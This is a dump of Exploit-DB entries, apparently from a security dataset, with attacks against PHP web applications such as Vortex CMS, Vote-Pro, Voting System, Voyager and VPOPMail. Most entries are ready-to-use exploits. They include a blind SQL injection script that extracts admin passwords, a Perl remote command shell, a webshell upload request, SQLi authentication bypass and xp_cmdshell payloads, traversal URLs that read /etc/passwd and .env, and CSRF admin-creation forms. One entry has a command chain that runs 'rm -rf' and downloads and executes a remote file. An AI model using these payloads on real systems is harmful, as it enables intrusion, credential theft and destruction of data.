deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5589
Description: Vortex CMS - 'pageid' Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-05-11
Author: Lidloses_Auge

Exploit:
<?php
ini_set("max_execution_time",0);
print_r('
###############################################################
#
#   Vortex CMS - Blind SQL Injection Exploit     
#                                                             
#      Vulnerability discovered by: Lidloses_Auge             
#      Exploit coded by:            Lidloses_Auge
#      Greetz to:                   -=Player=- , Suicide, g4ms3, enco
#                                   GPM, Free-Hack
#      Date:                        10.05.2008
#
###############################################################
#                                                             
#      Usage: php '.$argv[0].' [Target] [Page ID] [User ID]
#      Example for "http://www.site.com/cms/index.php?pageid=1"
#      => php '.$argv[0].' http://www.site.com/cms/ 1 1
#                                                             
###############################################################
');
if ($argc > 1) {
print_r('
');
   echo 'Searching for Admin: ';
   for($i=1; $i <= 50; $i++) { 
      $temp1 = file_get_contents($argv[1].'index.php?pageid='.$argv[2].'\'and+length((select+username+from+system_users_logins+where+id='.$argv[3].'))='.$i.'/*');
      if (strpos($temp1,'Sorry, the page you requested could not be found.') == 0) {
         $adlen = $i;
         $i = 50;
      }
   }
   for($i=1; $i <= $adlen; $i++) {
      for($zahl=46; $zahl <= 122; $zahl++) {
         $temp = file_get_contents($argv[1].'index.php?pageid='.$argv[2].'\'and+ascii(substring((select+username+from+system_users_logins+where+id='.$argv[3].'),'.$i.',1))='.$zahl.'/*');
         if (strpos($temp,'Sorry, the page you requested could not be found.') == 0) {
            echo chr($zahl);
            $zahl = 122;
         }
         if ($zahl == 57) {
            $zahl = 64;
         }
      }
   }
print_r('
');
   echo 'Searching for Password: ';
   for($i=1; $i <= 50; $i++) { 
      $temp1 = file_get_contents($argv[1].'index.php?pageid='.$argv[2].'\'and+length((select+password+from+system_users_logins+where+id='.$argv[3].'))='.$i.'/*');
      if (strpos($temp1,'Sorry, the page you requested could not be found.') == 0) {
         $adlen = $i;
         $i = 50;
      }
   }
   for($i=1; $i <= $adlen; $i++) {
      for($zahl=46; $zahl <= 122; $zahl++) {
         $temp = file_get_contents($argv[1].'index.php?pageid='.$argv[2].'\'and+ascii(substring((select+password+from+system_users_logins+where+id='.$argv[3].'),'.$i.',1))='.$zahl.'/*');
         if (strpos($temp,'Sorry, the page you requested could not be found.') == 0) {
            echo chr($zahl);
            $zahl = 122;
         }
         if ($zahl == 57) {
            $zahl = 64;
         }
      }
   }
}
?>

# milw0rm.com [2008-05-11]
Exploit-DB #4605
Description: Vortex Portal 1.0.42 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-11-04
Author: ShAy6oOoN

Exploit:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~ Vortex Portal 1.0.42 RFI ~
~~~~~~~~~~~~~~~~~~~~~~~~~~~

----------
Author   : ShAy6oOoN
----------
Group    : PitBull Crew
----------
Script   : Vortex Portal 1.0.42
----------
Download : http://www.igamingcms.com/legacy-software/VortexPortal1.0.42.zip
----------
Vuln Type: RFI
----------


Register_globals: ON
-----------------

/path/admincp/auth/secure.php?cfgProgDir=

/path/admincp/auth/checklogin.php?cfgProgDir=


Greetings:
----------

PitBull Crew : The_PitBull - iNs - MaxDeMon - SancheZ - r0x00k - c0ol


Thanks To:
----------

str0ke - BiNgZa

# milw0rm.com [2007-11-04]
Exploit-DB #25261
Description: Vortex Portal 2.0 - 'content.php?act' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-03-23
Author: Francisco Alisson

Exploit:
source: https://www.securityfocus.com/bid/12878/info
 
Vortex Portal is reportedly affected by a remote PHP file include vulnerability. This issue is due to a failure in the application to properly sanitize user supplied input.
 
It is conjectured this vulnerability affects the latest release of Vortex Portal, version 2.0. 

http://www.example.com/content.php?act=http://www.example.com/file
Exploit-DB #25260
Description: Vortex Portal 2.0 - 'index.php?act' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-03-23
Author: Francisco Alisson

Exploit:
source: https://www.securityfocus.com/bid/12878/info

Vortex Portal is reportedly affected by a remote PHP file include vulnerability. This issue is due to a failure in the application to properly sanitize user supplied input.

It is conjectured this vulnerability affects the latest release of Vortex Portal, version 2.0. 

http://www.example.com/index.php?act=http://www.example.com/file
Exploit-DB #3180
Description: Vote-Pro 4.0 - 'poll_frame.php?poll_id' Remote Code Execution
Type: webapps
Platform: php
Date: 2007-01-23
Author: r0ut3r

Exploit:
#################################################################################################
#                                    r0ut3r Presents...                                         #
#                                                                                               #
#                                Another r0ut3r discovery!                                      #
#                                  writ3r [at] gmail.com                                        #
#                                                                                               #
#                          Vote-Pro Code Injection 0day Exploit                                 #
#################################################################################################
# Software: Vote-Pro 4.0                                                                        #
#                                                                                               #
# Vendor: http://www.vote-pro.com/                                                              #
#                                                                                               #
# Released: 2007/01/23                                                                          #
#                                                                                               #
# Discovered & Exploit By: r0ut3r (writ3r [at] gmail.com)                                       #
#                                                                                               #
# Note: The information provided in this document is for Vote-Pro administrator                 #
# testing purposes only!                                                                        #
#################################################################################################

use IO::Socket;

$port = "80"; # connection port
$target = shift; # vote-pro.com
$folder = shift; # /votepro/

sub Header()
{
	print q
	{Vote-Pro Code Injection Exploit - writ3r [at] gmail.com
-------------------------------------------------------
};
}

sub Usage()
{
	print q
	{
Usage: votecmd.pl [target] [directory]
Example: votecmd.pl vote-pro.com /votepro/
};
	exit();
}

Header();

if (!$target || !$folder) {
	Usage(); }

print "[+] Connecting...\n";
$cmd = "dir";
while ($cmd !~ "exit")
{
	$xpack = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $target, PeerPort => $port) || die "[-] Failed to connect on exploit attempt. Exiting...\r\n";
	print $xpack "GET ".$folder."poll_frame.php?poll_id=hyphy;system($_GET[com]);&com=".substr($cmd, 0, -1)."; HTTP/1.1\n";
	print $xpack "Host: $target\n";
	print $xpack "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\n";
	print $xpack "Accept: text/html\n";
	print $xpack "Connection: keep-alive\n\n";

	print "[cmd]\$ ";
	$cmd = <STDIN>;
	$cmd =~ s/ /%20/g;
}

print "[!] Connection to host lost...\n";

# milw0rm.com [2007-01-23]
Exploit-DB #25226
Description: VoteBox 2.0 - 'Votebox.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-03-14
Author: SmOk3

Exploit:
source: https://www.securityfocus.com/bid/12806/info

It is reported that VoteBox is affected by a remote PHP file include vulnerability. This issue is due in part to the application failing to properly sanitize user-supplied input to the 'votebox.php' script.

Remote attackers could potentially exploit this issue to include and execute a remote malicious PHP script.

This issue reportedly affects VoteBox version 2.0, previous versions might also be affected. 

www.example.com/votebox.php?VoteBoxPath=http://[CMD]
Exploit-DB #49843
Description: Voting System 1.0 - Authentication Bypass (SQLI)
Type: webapps
Platform: php
Date: 2021-05-07
Author: secure77

Exploit:
# Exploit Title: Voting System 1.0 - Authentication Bypass (SQLI)
# Date: 06/05/2021
# Exploit Author: secure77
# Vendor Homepage: https://www.sourcecodester.com/php/12306/voting-system-using-php.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12306&title=Voting+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Linux Debian 5.10.28-1kali1 (2021-04-12) x86_64 // PHP Version 7.4.15 & Built-in HTTP server // mysql Ver 15.1 Distrib 10.5.9-MariaDB

You can simply bypass the /admin/login.php with the following sql injection.
All you need is a bcrypt hash that is equal with your random password, the username should NOT match with an existing



########################### Vulnerable code ############################
if(isset($_POST['login'])){
	$username = $_POST['username'];
	$password = $_POST['password'];

	$sql = "SELECT * FROM admin WHERE username = '$username'";
	$query = $conn->query($sql);

	if($query->num_rows < 1){
		$_SESSION['error'] = 'Cannot find account with the username';
	}
	else{
		$row = $query->fetch_assoc();
		echo "DB Password: " . $row['password'];
		echo "<br>";
		echo "<br>";
		echo "Input Password: " . $password;
		if(password_verify($password, $row['password'])){
			echo "Equal";
			$_SESSION['admin'] = $row['id'];
		}
		else{
			echo "not Equal";
			$_SESSION['error'] = 'Incorrect password';
		}
	}
	
}
else{
	$_SESSION['error'] = 'Input admin credentials first';
}

########################### Payload ############################
POST /admin/login.php HTTP/1.1
Host: 192.168.1.1
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=tliephrsj1d5ljhbvsbccnqmff
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 167

login=yea&[CREDENTIAL_REDACTED]=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -
Exploit-DB #49846
Description: Voting System 1.0 - Remote Code Execution (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-05-07
Author: secure77

Exploit:
# Exploit Title: Voting System 1.0 - Remote Code Execution (Unauthenticated)
# Date: 07/05/2021
# Exploit Author: secure77
# Vendor Homepage: https://www.sourcecodester.com/php/12306/voting-system-using-php.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12306&title=Voting+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Linux Debian 5.10.28-1kali1 (2021-04-12) x86_64 // PHP Version 7.4.15 & Built-in HTTP server // mysql Ver 15.1 Distrib 10.5.9-MariaDB

Unauthenticated file upload is possible via /admin/candidates_add.php that can use for RCE.
Your upload will be stored at /images/ and is also accessible without authentication.



########################### Vulnerable code ############################
<?php
	include 'includes/session.php';

	if(isset($_POST['add'])){
		$firstname = $_POST['firstname'];
		$lastname = $_POST['lastname'];
		$position = $_POST['position'];
		$platform = $_POST['platform'];
		$filename = $_FILES['photo']['name'];
		if(!empty($filename)){
			move_uploaded_file($_FILES['photo']['tmp_name'], '../images/'.$filename);	
		}

		$sql = "INSERT INTO candidates (position_id, firstname, lastname, photo, platform) VALUES ('$position', '$firstname', '$lastname', '$filename', '$platform')";
		if($conn->query($sql)){
			$_SESSION['success'] = 'Candidate added successfully';
		}
		else{
			$_SESSION['error'] = $conn->error;
		}

	}
	else{
		$_SESSION['error'] = 'Fill up add form first';
	}

	header('location: candidates.php');
?>

########################### Payload ############################
POST /admin/candidates_add.php HTTP/1.1
Host: 192.168.1.1
Content-Length: 275
Cache-Control: max-age=0
Origin: http://192.168.1.1
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrmynB2CmGO6vwFpO
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.1/admin/candidates.php
Accept-Encoding: gzip, deflate
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

------WebKitFormBoundaryrmynB2CmGO6vwFpO
Content-Disposition: form-data; name="photo"; filename="shell.php"
Content-Type: application/octet-stream

<?php echo exec("whoami"); ?>

------WebKitFormBoundaryrmynB2CmGO6vwFpO
Content-Disposition: form-data; name="add"
Exploit-DB #21517
Description: Voxel Dot Net CBms 0.x - Multiple Code Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2002-06-06
Author: Ulf Harnhammar

Exploit:
source: https://www.securityfocus.com/bid/4957/info

It has been reported that multiple vulnerabilities exist in CBMS. Reportedly, it is possible to inject both JavaScript and SQL code into the system. It may be possible to execute script code within the context of the site as an authenticated administrator, or to view or modify sensitive database information through the subversion of an SQL query.

These issues have been reported in version 0.7 of CBMS. Other versions may share these vulnerabilities, this has not however been confirmed.

dltclnt.php?choice=yes&idnum=clientid
Exploit-DB #36849
Description: VOXTRONIC Voxlog Professional 3.7.x - 'get.php?v' Arbitrary File Access
Type: webapps
Platform: php
Date: 2012-02-20
Author: J. Greil

Exploit:
source: https://www.securityfocus.com/bid/52081/info

VOXTRONIC Voxlog Professional is prone to a file-disclosure vulnerability and multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input.

An remote attacker can exploit these issues to obtain potentially sensitive information from local files on computers running the vulnerable application, or modify the logic of SQL queries. A successful exploit may allow the attacker to compromise the software, retrieve information, or modify data; These may aid in further attacks.

VOXTRONIC Voxlog Professional 3.7.2.729 and 3.7.0.633 are vulnerable; other versions may also be affected. 

http://www.example.com/voxlog/GET.PHP?v=ZmlsZT1DOi9ib290LmluaQ==
Exploit-DB #36850
Description: VOXTRONIC Voxlog Professional 3.7.x - 'userlogdetail.php?idclient' SQL Injection
Type: webapps
Platform: php
Date: 2012-02-20
Author: J. Greil

Exploit:
source: https://www.securityfocus.com/bid/52081/info
 
VOXTRONIC Voxlog Professional is prone to a file-disclosure vulnerability and multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input.
 
An remote attacker can exploit these issues to obtain potentially sensitive information from local files on computers running the vulnerable application, or modify the logic of SQL queries. A successful exploit may allow the attacker to compromise the software, retrieve information, or modify data; These may aid in further attacks.
 
VOXTRONIC Voxlog Professional 3.7.2.729 and 3.7.0.633 are vulnerable; other versions may also be affected. 


http://www.example.com/voxlog/sysstat/userlogdetail.php?load=1&idclient[1]=xxx);waitfor delay '0:0:5' --+

http://www.example.com/voxlog/sysstat/userlogdetail.php?load=1&idclient[1]=xxx);exec master..xp_cmdshell 'xxxxx' --+
Exploit-DB #47875
Description: Voyager 1.3.0 - Directory Traversal
Type: webapps
Platform: php
Date: 2020-01-06
Author: NgoAnhDuc

Exploit:
# Exploit Title: Voyager 1.3.0 - Directory Traversal
# Google Dork: N/A
# Date: January 2020-01-06
# Exploit Author: NgoAnhDuc
# Vendor Homepage: https://voyager.devdojo.com/
# Software Link:https://github.com/the-control-group/voyager/releases/tag/v1.3.0https://github.com/the-control-group/voyager/releases/tag/v1.2.7
# Version: 1.3.0 and bellow
# Tested on: Ubuntu 18.04
# CVE : N/A


Vulnerable code is in voyager/src/Http/Controllers/VoyagerController.php

========================================

public function assets(Request $request)
    {
        *$path = str_start(str_replace(['../', './'], '',
urldecode($request->path)), '/');*
*        $path = base_path('vendor/tcg/voyager/publishable/assets'.$path);*
        if (File::exists($path)) {
            $mime = '';
            if (ends_with($path, '.js')) {
                $mime = 'text/javascript';
            } elseif (ends_with($path, '.css')) {
                $mime = 'text/css';
            } else {
                $mime = File::mimeType($path);
            }
            $response = response(File::get($path), 200,
['Content-Type' => $mime]);
            $response->setSharedMaxAge(31536000);
            $response->setMaxAge(31536000);
            $response->setExpires(new \DateTime('+1 year'));
            return $response;
        }
        return response('', 404);
    }
========================================

PoC:

passwd:

http://localhost/admin/voyager-assets?path=.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2Fetc/passwd


Laravel environment
file:http://localhost/admin/voyager-assets?path=.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F<web
root dir>/.env
Exploit-DB #22343
Description: VPOPMail 0.9x - 'vpopmail.php' Remote Command Execution
Type: webapps
Platform: php
Date: 2003-03-11
Author: ERRor

Exploit:
source: https://www.securityfocus.com/bid/7063/info

A vulnerability has been reported for VPOPMail that may allow attackers to execute arbitrary commands on a vulnerable system. The vulnerability exists due to insufficient sanitization of user-supplied input.

As the vpopmail.php script does not properly sanitize the values for the some variables, it is possible for an attacker to include malicious system commands by manipulating URI parameters. This would in turn result in the execution of these commands with the privileges of the web server process.

password;~vpopmail/bin/vpasswd user@host password
password;rm -rf ~vpopmail/
password;ls ~vpopmail/domains/example.com/user/Maildir/new| mail user@host
passwd; wget example.com/exploit -O /tmp/f;chmod +x /tmp/f;/tmp/f;
Exploit-DB #18418
Description: VR GPub 4.0 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2012-01-26
Author: Cyber-Crystal

Exploit:
+-------------------------------------------------------------------------+
# Exploit Title : VR GPub 4.0 CSRF Vulnerability
# version       : VR GPub 4.0                                                                                                                            
# Author        : Cyber-Crystal                                              
# Date          : n/a   
# Dork          : inurl:"VR GPub"
# Software Link : http://www.easy-script.com/scripts-PHP/vr-gpub-3907.html                                                                                   
+-------------------------------------------------------------------------+
+---+[CSRF Add Admin Acuonnt by Cyber-Crystal]+---+
<html>
<title>[#] Exploit [#]</title>
<body>
<form method="post" action="http://localhost/vrgpub/admin/admin_options.php">
<input name="ae_login" type="text" id="ae_login" size="20" maxlength="30" value="root" />
<input name="ae_mdp" type="password" id="ae_mdp" size="20" maxlength="30" value="toor" />
<input name="ae_mdp2" type="password" id="ae_mdp2" size="20" maxlength="30" value="toor" />
<p align="center">
<input type="submit" name="Submit4" value="Add" />
</p>
</form>
</body>
</html>


#-----------------------------------#
|  by Cyber-Crystal 			    |
|  								    |
|  Mail : Cyb3r.Crystal@Gmail.com   |
|  Home // www.v4-team.com/cc		|
|     						        |
#-----------------------------------#
Greetz 2 : Secure-x41 | Fox Hacker | Or4nG.M4n | SadHacker | Mr.Black | Red Virus | aBu.HaLiL501 | T7 | Sniper_IRaq || # All Man 0_0



# the End
Exploit-DB #4150
Description: VRNews 1.1.1 - 'admin.php' Remote Security Bypass
Type: webapps
Platform: php
Date: 2007-07-05
Author: R4M!

Exploit:
VRNews v1.x <= /VRNews/admin.php Permission
 
Found by: R4M! - Rami@live.de
 
Dork: intitle:"vrnews v1"
 
Script: http://www.toocharger.com/fiches/scripts/vrnews/3632.htm
 
Example:
1. /VRNews/admin.php?act=edit
2. /VRNews/admin.php?act=add
3. /VRNews/admin.php?act=config
4. /VRNews/admin.php?act=del

# milw0rm.com [2007-07-05]
Exploit-DB #8506
Description: VS PANEL 7.3.6 - 'Cat_ID' SQL Injection
Type: webapps
Platform: php
Date: 2009-04-21
Author: Player

Exploit:
[+]-------------------------------------[+]
[+] Homepage: http://www.vspanel.gr/
[+] Product: VS PANEL v.7.3.6
[+] File: showcat.php
[+] Parameter: Cat_ID
[+] Dork: "Powered by VS PANEL"
[+]-------------------------------------[+]
[+] SQL Injection:
[+] showcat.php?Cat_ID=null+union+select+1,concat_ws(0x203a20,name,password)+from+Users--
[+]-------------------------------------[+]
[+] Discovered by -=Player=-
[+] http://NovuSec.com
[+] http://Free-Hack.com
[+]-------------------------------------[+]
[+] Greetz to :
[+] Lidloses_Auge, Suicide, enco, J0hn.X3r, Dexx, 2called-chaos, xant0x
[+]-------------------------------------[+] 

# milw0rm.com [2009-04-21]